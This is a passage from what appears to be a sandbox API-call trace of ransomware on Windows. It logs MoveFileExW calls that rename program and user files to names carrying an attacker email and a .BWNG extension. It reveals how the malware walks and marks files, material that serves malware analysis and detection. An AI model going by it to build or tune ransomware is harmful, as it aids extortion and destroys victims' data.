(lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-13" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt-13"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\[billwong73@yahoo.com].nCkPO6nk-t9pxrq04.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\[billwong73@yahoo.com].nckpo6nk-t9pxrq04.bwng"), dwFlags=0x1) returned 1 [0131.784] GetTickCount () returned 0x1168798 [0131.784] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27373635977) returned 1 [0131.784] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\UCT" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\uct"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\[billwong73@yahoo.com].OcnXBah7-pDDenzT6.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\[billwong73@yahoo.com].ocnxbah7-pddenzt6.bwng"), dwFlags=0x1) returned 1 [0131.786] GetTickCount () returned 0x1168798 [0131.786] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27373794215) returned 1 [0131.786] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Chisinau" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\chisinau"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\[billwong73@yahoo.com].Uu24oEtu-84tnmNi5.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\[billwong73@yahoo.com].uu24oetu-84tnmni5.bwng"), dwFlags=0x1) returned 1 [0131.787] GetTickCount () returned 0x1168798 [0131.787] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27373938142) returned 1 [0131.787] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Luxembourg" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\luxembourg"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\[billwong73@yahoo.com].7AiNFexw-10Ec0siv.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\[billwong73@yahoo.com].7ainfexw-10ec0siv.bwng"), dwFlags=0x1) returned 1 [0131.789] GetTickCount () returned 0x1168798 [0131.789] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27374086660) returned 1 [0131.789] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Rome" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\rome"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\[billwong73@yahoo.com].M5GJueD0-sO5rmfZu.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\[billwong73@yahoo.com].m5gjued0-so5rmfzu.bwng"), dwFlags=0x1) returned 1 [0131.790] GetTickCount () returned 0x11687a7 [0131.790] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27374243555) returned 1 [0131.790] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Vilnius" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\vilnius"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\[billwong73@yahoo.com].DgQJ4kE8-zUYkiKAA.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\[billwong73@yahoo.com].dgqj4ke8-zuykikaa.bwng"), dwFlags=0x1) returned 1 [0131.792] GetTickCount () returned 0x11687a7 [0131.792] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27374393554) returned 1 [0131.792] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Cocos" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\indian\\cocos"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\[billwong73@yahoo.com].KaU1OTgm-8dj9WJez.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\indian\\[billwong73@yahoo.com].kau1otgm-8dj9wjez.bwng"), dwFlags=0x1) returned 1 [0131.793] GetTickCount () returned 0x11687a7 [0131.793] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27374544210) returned 1 [0131.793] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\MST7MDT" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\mst7mdt"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\[billwong73@yahoo.com].tMcXJl43-Wq61bkz0.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\[billwong73@yahoo.com].tmcxjl43-wq61bkz0.bwng"), dwFlags=0x1) returned 1 [0131.795] GetTickCount () returned 0x11687a7 [0131.795] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27374772021) returned 1 [0131.796] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Funafuti" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\funafuti"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\[billwong73@yahoo.com].iAluxjr5-5zGG2IXd.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\[billwong73@yahoo.com].ialuxjr5-5zgg2ixd.bwng"), dwFlags=0x1) returned 1 [0131.798] GetTickCount () returned 0x11687a7 [0131.798] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27374990348) returned 1 [0131.798] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Majuro" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\majuro"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\[billwong73@yahoo.com].rtwvprF5-70noqJFU.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\[billwong73@yahoo.com].rtwvprf5-70noqjfu.bwng"), dwFlags=0x1) returned 1 [0131.799] GetTickCount () returned 0x11687a7 [0131.799] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27375136016) returned 1 [0131.799] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Pohnpei" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\pohnpei"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\[billwong73@yahoo.com].4ahdIXcn-bnG2p7W3.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\[billwong73@yahoo.com].4ahdixcn-bng2p7w3.bwng"), dwFlags=0x1) returned 1 [0131.800] GetTickCount () returned 0x11687a7 [0131.800] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27375270777) returned 1 [0131.801] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\AST4" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\systemv\\ast4"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\[billwong73@yahoo.com].ojS4JL3m-srgWpdqN.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\systemv\\[billwong73@yahoo.com].ojs4jl3m-srgwpdqn.bwng"), dwFlags=0x1) returned 1 [0131.802] GetTickCount () returned 0x11687a7 [0131.802] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27375410513) returned 1 [0131.802] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\PST8PDT" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\systemv\\pst8pdt"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\[billwong73@yahoo.com].BN6J2E8M-8mYoVCPl.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\systemv\\[billwong73@yahoo.com].bn6j2e8m-8myovcpl.bwng"), dwFlags=0x1) returned 1 [0131.803] GetTickCount () returned 0x11687a7 [0131.803] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27375555318) returned 1 [0131.804] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\ZoneInfoMappings" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\zoneinfomappings"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\[billwong73@yahoo.com].cdCvSvmV-5Vmr54ng.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\[billwong73@yahoo.com].cdcvsvmv-5vmr54ng.bwng"), dwFlags=0x1) returned 1 [0131.899] GetTickCount () returned 0x1168814 [0131.899] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27385083265) returned 1 [0131.899] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\Welcome.html" (normalized: "c:\\program files (x86)\\java\\jre7\\welcome.html"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\[billwong73@yahoo.com].RyMy8O5M-WForCjS0.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\[billwong73@yahoo.com].rymy8o5m-wforcjs0.bwng"), dwFlags=0x1) returned 1 [0131.901] GetTickCount () returned 0x1168814 [0131.901] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27385324177) returned 1 [0131.901] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\[billwong73@yahoo.com].PnZaL2FP-AEiyt2tJ.BWNG" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\resources\\1033\\[billwong73@yahoo.com].pnzal2fp-aeiyt2tj.bwng"), dwFlags=0x1) returned 1 [0131.994] GetTickCount () returned 0x1168872 [0131.994] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27394628631) returned 1 [0131.995] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\components\\components.manifest" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\components\\components.manifest"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\components\\[billwong73@yahoo.com].KcvuCuC4-ncWWeX6w.BWNG" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\components\\[billwong73@yahoo.com].kcvucuc4-ncwwex6w.bwng"), dwFlags=0x1) returned 1 [0131.996] GetTickCount () returned 0x1168872 [0131.996] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27394835767) returned 1 [0131.996] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\[billwong73@yahoo.com].BSfraykP-7Rjyy1Yf.BWNG" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\cartridges\\[billwong73@yahoo.com].bsfraykp-7rjyy1yf.bwng"), dwFlags=0x1) returned 1 [0131.998] GetTickCount () returned 0x1168872 [0131.998] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27395005274) returned 1 [0131.998] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.dic" (normalized: "c:\\program files (x86)\\mozilla firefox\\dictionaries\\en-us.dic"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\[billwong73@yahoo.com].76c0FcXO-lpLLmAMt.BWNG" (normalized: "c:\\program files (x86)\\mozilla firefox\\dictionaries\\[billwong73@yahoo.com].76c0fcxo-lpllmamt.bwng"), dwFlags=0x1) returned 1 [0132.000] GetTickCount () returned 0x1168872 [0132.000] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27395214955) returned 1 [0132.000] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\plugin-hang-ui.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\plugin-hang-ui.exe"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\[billwong73@yahoo.com].wEGrlAhV-qFUhhUYx.BWNG" (normalized: "c:\\program files (x86)\\mozilla firefox\\[billwong73@yahoo.com].wegrlahv-qfuhhuyx.bwng"), dwFlags=0x1) returned 1 [0132.001] GetTickCount () returned 0x1168872 [0132.001] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27395372719) returned 1 [0132.002] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\omni.ja" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\omni.ja"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\[billwong73@yahoo.com].qNz993I8-4wTh8cUK.BWNG" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\[billwong73@yahoo.com].qnz993i8-4wth8cuk.bwng"), dwFlags=0x1) returned 1 [0132.003] GetTickCount () returned 0x1168872 [0132.003] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27395507434) returned 1 [0132.003] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_webrtc.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_webrtc.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\[billwong73@yahoo.com].phwCVEtl-heb33A85.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\[billwong73@yahoo.com].phwcvetl-heb33a85.bwng"), dwFlags=0x1) returned 1 [0132.004] GetTickCount () returned 0x1168872 [0132.004] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27395815705) returned 1 [0132.006] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice_installer.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\maintenanceservice_installer.exe"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\[billwong73@yahoo.com].j06AUR6B-2XGRpDas.BWNG" (normalized: "c:\\program files (x86)\\mozilla firefox\\[billwong73@yahoo.com].j06aur6b-2xgrpdas.bwng"), dwFlags=0x1) returned 1 [0132.008] GetTickCount () returned 0x1168882 [0132.008] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27396040312) returned 1 [0132.008] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\softokn3.chk" (normalized: "c:\\program files (x86)\\mozilla firefox\\softokn3.chk"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\[billwong73@yahoo.com].fXQhADex-rmkMiPha.BWNG" (normalized: "c:\\program files (x86)\\mozilla firefox\\[billwong73@yahoo.com].fxqhadex-rmkmipha.bwng"), dwFlags=0x1) returned 1 [0132.010] GetTickCount () returned 0x1168882 [0132.010] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27396200003) returned 1 [0132.010] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\maintenanceservice.exe"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\[billwong73@yahoo.com].HdMpmoQo-rqh4MOve.BWNG" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\[billwong73@yahoo.com].hdmpmoqo-rqh4move.bwng"), dwFlags=0x1) returned 1 [0132.011] GetTickCount () returned 0x1168882 [0132.011] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27396340358) returned 1 [0132.011] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.GRAPH.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.graph.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\[billwong73@yahoo.com].Wy8EWVW3-9hoRTwKY.BWNG" (normalized: "c:\\programdata\\microsoft help\\[billwong73@yahoo.com].wy8ewvw3-9hortwky.bwng"), dwFlags=0x1) returned 0 [0132.012] GetTickCount () returned 0x1168882 [0132.012] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27396388977) returned 1 [0132.012] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.OIS.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.ois.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\[billwong73@yahoo.com].7OYc2pcM-rZNqQWJn.BWNG" (normalized: "c:\\programdata\\microsoft help\\[billwong73@yahoo.com].7oyc2pcm-rznqqwjn.bwng"), dwFlags=0x1) returned 0 [0132.012] GetTickCount () returned 0x1168882 [0132.012] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27396434633) returned 1 [0132.012] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO_PRM.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.visio_prm.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\[billwong73@yahoo.com].U3SLS0FC-dha4kg86.BWNG" (normalized: "c:\\programdata\\microsoft help\\[billwong73@yahoo.com].u3sls0fc-dha4kg86.bwng"), dwFlags=0x1) returned 0 [0132.012] GetTickCount () returned 0x1168882 [0132.012] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27396471675) returned 1 [0132.013] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\programdata\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), lpNewFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\[billwong73@yahoo.com].wtVnq3Nz-THZ1Mg5m.BWNG" (normalized: "c:\\programdata\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\[billwong73@yahoo.com].wtvnq3nz-thz1mg5m.bwng"), dwFlags=0x1) returned 0 [0132.013] GetTickCount () returned 0x1168882 [0132.013] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27396510025) returned 1 [0132.013] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\programdata\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), lpNewFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\[billwong73@yahoo.com].HA9CeL0j-armjvApp.BWNG" (normalized: "c:\\programdata\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\[billwong73@yahoo.com].ha9cel0j-armjvapp.bwng"), dwFlags=0x1) returned 0 [0132.013] GetTickCount () returned 0x1168882 [0132.013] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27396555824) returned 1 [0132.014] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\programdata\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), lpNewFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\[billwong73@yahoo.com].parXvcoI-vOTxOlcd.BWNG" (normalized: "c:\\programdata\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\[billwong73@yahoo.com].parxvcoi-votxolcd.bwng"), dwFlags=0x1) returned 0 [0132.014] GetTickCount () returned 0x1168882 [0132.014] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27396602117) returned 1 [0132.014] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe" (normalized: "c:\\programdata\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\[billwong73@yahoo.com].V1kLi7rz-28U1UEaZ.BWNG" (normalized: "c:\\programdata\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\[billwong73@yahoo.com].v1kli7rz-28u1ueaz.bwng"), dwFlags=0x1) returned 0 [0132.014] GetTickCount () returned 0x1168882 [0132.014] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27396651772) returned 1 [0132.015] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\SharedDataEvents" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\shareddataevents"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\[billwong73@yahoo.com].Aquoh9j8-kKeTgIvs.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\[billwong73@yahoo.com].aquoh9j8-kketgivs.bwng"), dwFlags=0x1) returned 1 [0132.016] GetTickCount () returned 0x1168882 [0132.016] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27396803077) returned 1 [0132.016] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.manifest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.manifest"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\[billwong73@yahoo.com].kxlWfMzv-Nr6cYyWY.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\[billwong73@yahoo.com].kxlwfmzv-nr6cyywy.bwng"), dwFlags=0x1) returned 1 [0132.017] GetTickCount () returned 0x1168882 [0132.017] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27396941760) returned 1 [0132.017] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_2" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_2"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\[billwong73@yahoo.com].jUfv9nGY-40u5Z0Mi.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\[billwong73@yahoo.com].jufv9ngy-40u5z0mi.bwng"), dwFlags=0x1) returned 1 [0132.019] GetTickCount () returned 0x1168882 [0132.019] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27397109781) returned 1 [0132.019] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\webapp-uninstaller.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\webapp-uninstaller.exe"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\[billwong73@yahoo.com].gqKrnQCJ-NW6RnnDb.BWNG" (normalized: "c:\\program files (x86)\\mozilla firefox\\[billwong73@yahoo.com].gqkrnqcj-nw6rnndb.bwng"), dwFlags=0x1) returned 1 [0132.221] GetTickCount () returned 0x116894c [0132.221] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27417330975) returned 1 [0132.222] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\[billwong73@yahoo.com].QlFo481L-tlqtmE1t.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\[billwong73@yahoo.com].qlfo481l-tlqtme1t.bwng"), dwFlags=0x1) returned 1 [0132.529] GetTickCount () returned 0x11689d9 [0132.529] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27448110750) returned 1 [0132.529] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 